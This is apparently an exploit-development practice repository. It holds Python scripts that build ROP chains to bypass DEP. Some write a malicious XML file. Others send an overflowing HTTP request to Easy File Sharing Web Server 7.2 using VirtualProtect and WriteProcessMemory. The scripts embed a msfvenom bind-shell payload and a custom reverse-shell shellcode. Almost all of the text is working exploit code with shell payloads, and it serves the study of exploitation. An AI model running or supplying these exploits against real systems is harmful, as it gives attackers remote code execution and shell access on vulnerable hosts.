 65 | rop += struct.pack("<L", 0x65012c97)  # inc eax; ret; 
 66 | rop += struct.pack("<L", 0x65012c97)  # inc eax; ret; 
 67 | rop += struct.pack("<L", 0x65012c97)  # inc eax; ret; 
 68 | rop += struct.pack("<I",0x6511930e)  # mov ecx, eax; mov eax, ecx; ret; 
 69 | rop += struct.pack("<L", 0x6501e9b9)  # mov eax, dword ptr [eax]; ret;  :: ../dll/QtGui4.dll
 70 | rop += struct.pack("<L", 0x6501e9b9)  # mov eax, dword ptr [eax]; ret;  :: ../dll/QtGui4.dll
 71 | rop += struct.pack("<L", 0x6501a15e)  # pop edi; ret; 
 72 | rop += struct.pack("<L", 0xfffe42d0)  # -1bd30
 73 | rop += struct.pack("<L", 0x651e76db)  # add eax, edi; pop edi; pop esi; ret; 
 74 | rop += struct.pack("<I",0x41414141)  # padding for pop esi
 75 | rop += struct.pack("<I",0x41414141)  # padding for pop esi
 76 | rop += struct.pack("<L", 0x65030798)  # mov dword ptr [ecx], eax; ret;  :: ../dll/QtGui4.dll
 77 | 
 78 | #2nd step - Shellcode Return Address
 79 | rop += struct.pack("<L", 0x6502475c)  # mov eax, ecx; ret; 
 80 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 81 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 82 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 83 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 84 | rop += struct.pack("<L", 0x65010ce3)  # pop ebp; ret; 
 85 | rop += struct.pack("<L", 0xfffffcfc)
 86 | rop += struct.pack("<L", 0x6502cf91)  # sub eax, ebp; ret; 
 87 | rop += struct.pack("<L", 0x65030798)  # mov dword ptr [ecx], eax; ret;  :: ../dll/QtGui4.dll
 88 | 
 89 | #3rd step - Shellcode Address
 90 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 91 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 92 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 93 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 94 | rop += struct.pack("<L", 0x65030798)  # mov dword ptr [ecx], eax; ret;  :: ../dll/QtGui4.dll
 95 | 
 96 | #dwSize - 0x1
 97 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 98 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
 99 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
100 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
101 | rop += struct.pack("<L", 0x65017b47)  # pop eax; ret; 
102 | rop += struct.pack("<L", 0xffffffff)  # -1
103 | rop += struct.pack("<L", 0x65029047)  # neg eax; ret;  :: ../dll/QtGui4.dll
104 | rop += struct.pack("<L", 0x65030798)  # mov dword ptr [ecx], eax; ret;  :: ../dll/QtGui4.dll
105 | 
106 | #flAllocation - 0x1000
107 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
108 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
109 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
110 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
111 | rop += struct.pack("<L", 0x65017b47)  # pop eax; ret; 
112 | rop += struct.pack("<L", 0xffffefff)  # -1001
113 | rop += struct.pack("<L", 0x65029047)  # neg eax; ret;  :: ../dll/QtGui4.dll
114 | rop += struct.pack("<L", 0x6501ead7)  # dec eax; ret; 
115 | rop += struct.pack("<L", 0x65030798)  # mov dword ptr [ecx], eax; ret;  :: ../dll/QtGui4.dll
116 | 
117 | #flProtect
118 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
119 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
120 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
121 | rop += struct.pack("<L", 0x651611f8)  # inc ecx; ret;  :: ../dll/QtGui4.dll
122 | rop += struct.pack("<L", 0x65017b47)  # pop eax; ret; 
123 | rop += struct.pack("<L", 0xffffffc0)  # -1
124 | rop += struct.pack("<L", 0x65029047)  # neg eax; ret;  :: ../dll/QtGui4.dll
125 | rop += struct.pack("<L", 0x65030798)  # mov dword ptr [ecx], eax; ret;  :: ../dll/QtGui4.dll
126 | 
127 | #return to shellcode
128 | rop += struct.pack("<L", 0x6502475c)  # mov eax, ecx; ret; 
129 | rop += struct.pack("<L", 0x6524f721)  # sub eax, 0x14; ret; 
130 | rop += struct.pack("<L", 0x6503a936)  # xchg eax, esp; ret;  :: ../dll/QtGui4.dll
131 | 
132 | print(800 - len(rop))
133 | rop += b"\x90" * (800 - len(rop))
134 | 
135 | payload = b"A" * offset
136 | payload += rop_nop
137 | payload += b"\x90" * 16 # padding
138 | payload += rop
139 | payload += shellcode
140 | payload += b"C" * (total - len(payload))
141 | 
142 | #FILE
143 | file=b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'
144 | 
145 | f = open('Exploit.xml', 'wb')
146 | f.write(file)
147 | f.close()
148 | 


--------------------------------------------------------------------------------
/5.dep_bypass/EasyFileSharingWebServer_7.2/README.md:
--------------------------------------------------------------------------------
 1 | # Easy File Sharing Web Server 7.2 - DEP Enabled manually
 2 | 
 3 | Downloaded from: https://www.exploit-db.com/exploits/44522
 4 | 
 5 | ## Initial Crash
 6 | ```py
 7 | import socket
 8 | import os
 9 | import sys
10 | import struct
11 | 
12 | ip = "127.0.0.1"
13 | port = 80
14 | 
15 | #\x0a\x0d\x20\x25\x2f\x5c
16 | 
17 | CRASH_LEN = 5000  # change me
18 | OFFSET = 4061  # change me
19 | 
20 | payload = b"A" * OFFSET
21 | payload += struct.pack("<I",0x06eb9090) # short jump 8 - NSEH
22 | payload += struct.pack("<I",0x100103fe) #PPR SEH
23 | payload += b"\x90" * 10
24 | payload += b"D" * (CRASH_LEN - len(payload))
25 | 
26 | 
27 | buffer = b"GET "
28 | buffer += payload
29 | buffer += b" HTTP/1.1\r\n"
30 | 
31 | expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
32 | expl.connect((ip, port))
33 | expl.send(buffer)
34 | expl.close()
35 | ```
36 | 


--------------------------------------------------------------------------------
/5.dep_bypass/EasyFileSharingWebServer_7.2/exploit_virtualprotect.py:
--------------------------------------------------------------------------------
  1 | import socket
  2 | import os
  3 | import sys
  4 | import struct
  5 | 
  6 | ip = "127.0.0.1"
  7 | port = 80
  8 | 
  9 | #\x00\x0a\x0d\x20\x25\x2f\x5c
 10 | 
 11 | #virtual protect 61C832D0
 12 | #PUSHAD
 13 | #GOALS - VirtualProtect
 14 | #EAX 90909090 => Nop   -V                                            
 15 | #ECX <writeable pointer> => lpflOldProtect - 61c804f0  - V                            
 16 | #EDX 00000040 => flNewProtect     - V                               
 17 | #EBX 00000201 => dwSize   512   - V                                   
 18 | #ESP ???????? => Leave as is                                 
 19 | #EBP ???????? => Call to ESP (jmp, call, push,..) -> !py mona jmp -r esp -cpb '\x00\x0a\x0d\x20\x25\x2f\x5c'              
 20 | #ESI ???????? => PTR to VirtualProtect - DWORD PTR of VirtualProtect 
 21 | #EDI RETN => ROP-Nop same as EIP  --> !py mona find -type instr -s "retn" -m modulo.dll -cpb "\x00"
 22 | 
 23 | CRASH_LEN = 5000  # change me
 24 | OFFSET = 4061  # change me
 25 | 
 26 | rop_nop = struct.pack("<I",0x61c0104d) # RETN
 27 | 
 28 | # bind shell
 29 | # msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c' EXITFUNC=thread
 30 | shellcode =  b""
 31 | shellcode += b"\xbf\x6a\xcb\x4f\xbe\xdd\xc2\xd9\x74\x24\xf4"
 32 | shellcode += b"\x5b\x31\xc9\xb1\x53\x31\x7b\x12\x03\x7b\x12"
 33 | shellcode += b"\x83\xa9\xcf\xad\x4b\xd1\x38\xb3\xb4\x29\xb9"
 34 | shellcode += b"\xd4\x3d\xcc\x88\xd4\x5a\x85\xbb\xe4\x29\xcb"
 35 | shellcode += b"\x37\x8e\x7c\xff\xcc\xe2\xa8\xf0\x65\x48\x8f"
 36 | shellcode += b"\x3f\x75\xe1\xf3\x5e\xf5\xf8\x27\x80\xc4\x32"
 37 | shellcode += b"\x3a\xc1\x01\x2e\xb7\x93\xda\x24\x6a\x03\x6e"
 38 | shellcode += b"\x70\xb7\xa8\x3c\x94\xbf\x4d\xf4\x97\xee\xc0"
 39 | shellcode += b"\x8e\xc1\x30\xe3\x43\x7a\x79\xfb\x80\x47\x33"
 40 | shellcode += b"\x70\x72\x33\xc2\x50\x4a\xbc\x69\x9d\x62\x4f"
 41 | shellcode += b"\x73\xda\x45\xb0\x06\x12\xb6\x4d\x11\xe1\xc4"
 42 | shellcode += b"\x89\x94\xf1\x6f\x59\x0e\xdd\x8e\x8e\xc9\x96"
 43 | shellcode += b"\x9d\x7b\x9d\xf0\x81\x7a\x72\x8b\xbe\xf7\x75"
 44 | shellcode += b"\x5b\x37\x43\x52\x7f\x13\x17\xfb\x26\xf9\xf6"
 45 | shellcode += b"\x04\x38\xa2\xa7\xa0\x33\x4f\xb3\xd8\x1e\x18"
 46 | shellcode += b"\x70\xd1\xa0\xd8\x1e\x62\xd3\xea\x81\xd8\x7b"
 47 | shellcode += b"\x47\x49\xc7\x7c\xa8\x60\xbf\x12\x57\x8b\xc0"
 48 | shellcode += b"\x3b\x9c\xdf\x90\x53\x35\x60\x7b\xa3\xba\xb5"
 49 | shellcode += b"\x16\xab\x1d\x66\x05\x56\xdd\xd6\x89\xf8\xb6"
 50 | shellcode += b"\x3c\x06\x27\xa6\x3e\xcc\x40\x4f\xc3\xef\x5e"
 51 | shellcode += b"\xa9\x4a\x09\xf4\xd9\x1a\x81\x60\x18\x79\x1a"
 52 | shellcode += b"\x17\x63\xab\x32\xbf\x2c\xbd\x85\xc0\xac\xeb"
 53 | shellcode += b"\xa1\x56\x27\xf8\x75\x47\x38\xd5\xdd\x10\xaf"
 54 | shellcode += b"\xa3\x8f\x53\x51\xb3\x85\x03\xf2\x26\x42\xd3"
 55 | shellcode += b"\x7d\x5b\xdd\x84\x2a\xad\x14\x40\xc7\x94\x8e"
 56 | shellcode += b"\x76\x1a\x40\xe8\x32\xc1\xb1\xf7\xbb\x84\x8e"
 57 | shellcode += b"\xd3\xab\x50\x0e\x58\x9f\x0c\x59\x36\x49\xeb"
 58 | shellcode += b"\x33\xf8\x23\xa5\xe8\x52\xa3\x30\xc3\x64\xb5"
 59 | shellcode += b"\x3c\x0e\x13\x59\x8c\xe7\x62\x66\x21\x60\x63"
 60 | shellcode += b"\x1f\x5f\x10\x8c\xca\xdb\x30\x6f\xde\x11\xd9"
 61 | shellcode += b"\x36\x8b\x9b\x84\xc8\x66\xdf\xb0\x4a\x82\xa0"
 62 | shellcode += b"\x46\x52\xe7\xa5\x03\xd4\x14\xd4\x1c\xb1\x1a"
 63 | shellcode += b"\x4b\x1c\x90"
 64 | 
 65 | 
 66 | #EAX - V
 67 | eax = struct.pack("<I",0x10015442)  # POP EAX # RETN    ** [ImageLoad.dll] ** 
 68 | eax += struct.pack("<I",0x90909090)  # 90909090
 69 | 
 70 | #ECX - V
 71 | ecx = struct.pack("<I",0x10010102)  # POP ECX # RETN    ** [ImageLoad.dll] ** 
 72 | ecx += struct.pack("<I",0x61c804f0)  # RW from sqlite3 
 73 | 
 74 | #EDX - V
 75 | edx = struct.pack("<I",0x10022c4c) # XOR EDX,EDX # RETN    ** [ImageLoad.dll] **  
 76 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 77 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 78 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 79 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 80 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 81 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 82 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 83 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 84 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 85 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 86 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 87 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 88 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 89 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 90 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 91 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 92 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 93 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 94 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 95 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 96 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 97 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 98 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
 99 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
100 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
101 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
102 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
103 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
104 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
105 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
106 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
107 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
108 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
109 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
110 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
111 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
112 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
113 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
114 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
115 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
116 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
117 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
118 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
119 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
120 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
121 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
122 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
123 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
124 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
125 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
126 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
127 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
128 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
129 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
130 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
131 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
132 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
133 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
134 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
135 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
136 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
137 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
138 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
139 | edx += struct.pack("<I",0x61c031cc)  # INC EDX # OR CL,CL # RETN 
140 | 
141 | #EBX - 201 - ricorda di fillare esp+0c con 0x61C832D0 - V
142 | ebx = struct.pack("<I",0x10015442)  # POP EAX # RETN    ** [ImageLoad.dll] ** 
143 | ebx += struct.pack("<I",0xfffffdff) # -201
144 | ebx += struct.pack("<I",0x100231d1)  # NEG EAX # RETN    ** [ImageLoad.dll] **  
145 | ebx += struct.pack("<I",0x1001da09)  # ADD EBX,EAX # MOV EAX,DWORD PTR [ESP+0CH] # INC DWORD PTR [EAX] # RETN    ** [ImageLoad.dll] **
146 | ebx += rop_nop  # patching INC DWORD PTR [EAX]
147 | ebx += rop_nop  # patching INC DWORD PTR [EAX]
148 | ebx += struct.pack("<I",0x10015442)  # pop eax - patching INC DWORD PTR [EAX]
149 | ebx += struct.pack("<I",0x61C832D0)  # virtualprotect - patching INC DWORD PTR [EAX]
150 | 
151 | #EBP call to esp - V
152 | ebp = struct.pack("<I",0x1001bab0)  # POP EBP # RETN    ** [ImageLoad.dll] **   |
153 | ebp += struct.pack("<I",0x61c227fa) # push esp
154 | 
155 | #ESI - poi virtualprotect - V
156 | esi = struct.pack("<I",0x10015442)  # POP EAX # RETN    ** [ImageLoad.dll] ** 
157 | esi += struct.pack("<I",0x61C832D0)  # poi virtual protect
158 | esi += struct.pack("<I",0x1002248c)  # MOV EAX,DWORD PTR [EAX] # RETN    ** 
159 | esi += struct.pack("<I",0x61c0a798)  # XCHG EAX,EDI # RETN    ** [sqlite3.dll] ** 
160 | esi += struct.pack("<I",0x1001d626)  # XOR ESI,ESI # RETN    ** [ImageLoad.dll] ** 
161 | esi += struct.pack("<I",0x10021a3e)  # ADD ESI,EDI # RETN 0x00    ** [ImageLoad.dll] **
162 | 
163 | #EDI - rop nop - V
164 | edi = struct.pack("<I",0x100161e6)  # POP EDI # RETN    ** [ImageLoad.dll] **
165 | edi += rop_nop
166 | 
167 | pushad = struct.pack("<I",0x100240c2)  # PUSHAD # RETN    ** [ImageLoad.dll] **
168 | 
169 | nops = b"\x90" * 20
170 | 
171 | payload = b"A" * 2509
172 | payload += esi
173 | payload += ebx
174 | payload += edi
175 | payload += ebp
176 | payload += edx
177 | payload += ecx
178 | payload += eax
179 | payload += pushad
180 | payload += nops
181 | payload += shellcode
182 | payload += nops
183 | 
184 | print(OFFSET - len(payload) + 4)
185 | payload += b"A" * (OFFSET - len(payload) + 4)
186 | payload += struct.pack("<I",0x10022877)   # ADD ESP,1004 # RETN
187 | payload += b"\x90" * 10
188 | payload += b"B" * (CRASH_LEN - len(payload))
189 | 
190 | 
191 | buffer = b"GET "
192 | buffer += payload
193 | buffer += b" HTTP/1.1\r\n"
194 | 
195 | expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
196 | expl.connect((ip, port))
197 | expl.send(buffer)
198 | expl.close()
199 | 


--------------------------------------------------------------------------------
/5.dep_bypass/EasyFileSharingWebServer_7.2/exploit_wpm.py:
--------------------------------------------------------------------------------
  1 | import socket
  2 | import os
  3 | import sys
  4 | import struct
  5 | 
  6 | ip = "127.0.0.1"
  7 | port = 80
  8 | 
  9 | #\x00\x0a\x0d\x20\x25\x2f\x5c
 10 | 
 11 | CRASH_LEN = 5000  # change me
 12 | OFFSET = 4061  # change me
 13 | 
 14 | rop_nop = struct.pack("<I",0x61c0104d) # RETN
 15 | 
 16 | #rev shell custom p443
 17 | shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\xb8\xe0\xff\xff\xff\xf7\xd8\x8b\x5e\x08\x8b\x3c\x06\x8b\x36\x66\x39\x4f\x18\x75\xeb\xeb\x06\x5e\x89\x75\x04\xeb\x64\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\xbe\xe0\xff\xff\xff\xf7\xde\x8b\x4f\x18\x8b\x04\x37\x01\xd8\x89\x45\xfc\xe3\x3f\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x10\xc1\xca\x02\xc1\xca\x02\xc1\xca\x03\xc1\xca\x06\x01\xc2\xeb\xeb\x3b\x54\x24\x24\x75\xd6\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\x68\xd9\x09\xf5\xad\xff\x55\x04\xbf\xe1\xff\xff\xff\xf7\xdf\x89\x44\x3d\x01\x68\x0c\xba\x2d\xb3\xff\x55\x04\x89\x45\x24\x89\xe0\x66\xb9\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xbf\xe1\xff\xff\xff\xf7\xdf\xff\x54\x3d\x01\x89\xc6\x31\xc0\x50\x50\x68\xc0\xa8\x72\x9a\x66\xb8\x01\xbb\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x50\x50\x50\x50\x04\x10\x50\x57\x56\xff\x55\x24\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31\xc9\x66\xb9\x80\xff\x66\xf7\xd9\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"
 18 | shellcode +=  b"\x90" * (500 - len(shellcode))
 19 | 
 20 | nops = b"\x90" * 20
 21 | 
 22 | # -fe4 = fffff01c
 23 | rop = struct.pack('<L', 0x1001c059)  # POP EBX # RETN  
 24 | rop += struct.pack('<L', 0xfffff004)
 25 | rop += struct.pack('<L', 0x1001d78a)  # SUB EBP,EBX # OR DH,D # RETN
 26 | rop += struct.pack('<L', 0x1001b8be)  # MOV EAX,EBP # POP ESI # POP EBP # RETN 
 27 | rop += struct.pack('<L', 0x41414141)  # padding for esi
 28 | rop += struct.pack('<L', 0xfffff004)  # padding for ebp
 29 | rop += struct.pack('<L', 0x1001d78a)  # SUB EBP,EBX # OR DH,D # RETN #xoring EBP for later
 30 | 
 31 | #jump over template
 32 | rop += struct.pack('<L', 0x1001454f)  # POP ESI # ADD ESP,1C # RETN 
 33 | 
 34 | #0:007> u poi(0x61C832D0)+0001b030 = KERNEL32!WriteProcessMemoryStub
 35 | # kernel32!WriteProcessMemory placeholder parameters
 36 | rop += struct.pack('<L', 0x61C832D0)    # Pointer to kernel32!WritePrivateProfileStringA (no pointers from IAT directly to kernel32!WriteProcessMemory, so loading pointer to kernel32.dll and compensating later.)
 37 | rop += struct.pack('<L', 0x61c72cff)    # RX from MODULE no aslr (Protect: 00000020) #sqlite3
 38 | rop += struct.pack('<L', 0xFFFFFFFF)    # hProccess = handle to current process (Pseudo handle = 0xFFFFFFFF points to current process)
 39 | rop += struct.pack('<L', 0x61c72cff)    # lpBaseAddress = RX from MODULE no aslr (Protect: 00000020)
 40 | rop += struct.pack('<L', 0x22222222)    # lpBuffer = base address of shellcode (dynamically generated)
 41 | rop += struct.pack('<L', 0x11111111)    # nSize = size of shellcode  - 512
 42 | rop += struct.pack('<L', 0x61c73fe8)    # lpNumberOfBytesWritten = RW in MODULE no aslr (Protect: 00000004)
 43 | rop += struct.pack('<L', 0x41414141)  # padding for pop esi
 44 | 
 45 | #saving EAX into ESI
 46 | rop += struct.pack('<L', 0x61c18d81)  # XCHG EAX,EDI # RETN  
 47 | rop += struct.pack('<L', 0x1001d626)  # XOR ESI,ESI # RETN    **
 48 | rop += struct.pack('<L', 0x10021a3e)  # ADD ESI,EDI # RETN 0x00
 49 | rop += struct.pack('<L', 0x61c18d81)  # XCHG EAX,EDI # RETN 
 50 | 
 51 | #patching WPM
 52 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN 
 53 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN 
 54 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN 
 55 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN
 56 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN 
 57 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN 
 58 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN 
 59 | rop += struct.pack('<L', 0x10022199)  # INC EAX # RETN  
 60 | rop += struct.pack('<L', 0x61c30547)  # ADD EBP,EAX # RETN  -> saving eax in ebp
 61 | rop += struct.pack('<L', 0x1002248c)  # MOV EAX,DWORD PTR [EAX] # RETN    ** 
 62 | rop += struct.pack('<L', 0x1002248c)  # MOV EAX,DWORD PTR [EAX] # RETN    ** 
 63 | rop += struct.pack('<L', 0x10018606)  # POP ECX # RETN  
 64 | rop += struct.pack('<L', 0xfffe4fd0)
 65 | rop += struct.pack('<L', 0x1001641c)  # SUB EAX,ECX # RETN 
 66 | rop += struct.pack('<L', 0x1001e80f)  # INC ESI # ADD AL,5E # RETN
 67 | rop += struct.pack('<L', 0x1001e80f)  # INC ESI # ADD AL,5E # RETN
 68 | rop += struct.pack('<L', 0x1001e80f)  # INC ESI # ADD AL,5E # RETN
 69 | rop += struct.pack('<L', 0x1001e80f)  # INC ESI # ADD AL,5E # RETN
 70 | rop += struct.pack('<L', 0x10019457)  # ADD EAX,20 # RETN 
 71 | rop += struct.pack('<L', 0x10019457)  # ADD EAX,20 # RETN 
 72 | rop += struct.pack('<L', 0x10019457)  # ADD EAX,20 # RETN 
 73 | rop += struct.pack('<L', 0x10019457)  # ADD EAX,20 # RETN
 74 | rop += struct.pack('<L', 0x1001aee5)  # ADD EAX,8 # RETN   
 75 | rop += struct.pack('<L', 0x1001e80e)  # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN 
 76 | rop += struct.pack('<L', 0x41414141)  # padding for pop esi
 77 | 
 78 | #patching lpBuffer
 79 | rop += struct.pack('<L', 0x1001b8be)  # MOV EAX,EBP # POP ESI # POP EBP # RETN
 80 | rop += struct.pack('<L', 0x41414141)  # padding for pop ebp
 81 | rop += struct.pack('<L', 0x41414141)  # padding for pop esi
 82 | rop += struct.pack('<L', 0x1001aef5)  # ADD EAX,0C # RETN 
 83 | rop += struct.pack('<L', 0x61c18d81)  # XCHG EAX,EDI # RETN  
 84 | rop += struct.pack('<L', 0x1001d626)  # XOR ESI,ESI # RETN    **
 85 | rop += struct.pack('<L', 0x10021a3e)  # ADD ESI,EDI # RETN 0x00
 86 | rop += struct.pack('<L', 0x61c18d81)  # XCHG EAX,EDI # RETN 
 87 | rop += struct.pack('<L', 0x61c095e8)  # ADD EAX,1B8 # ADD CL,CL # RETN
 88 | rop += struct.pack('<L', 0x61c095e8)  # ADD EAX,1B8 # ADD CL,CL # RETN
 89 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
 90 | rop += struct.pack('<L', 0x1001e80e)  # MOV DWORD PTR [ESI+4],EAX # POP ESI # RETN 
 91 | rop += struct.pack('<L', 0x41414141)  # padding for pop esi
 92 | 
 93 | #patching nSize - 512
 94 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
 95 | rop += struct.pack('<L', 0x10022897)  # SUB EAX,20 # RETN
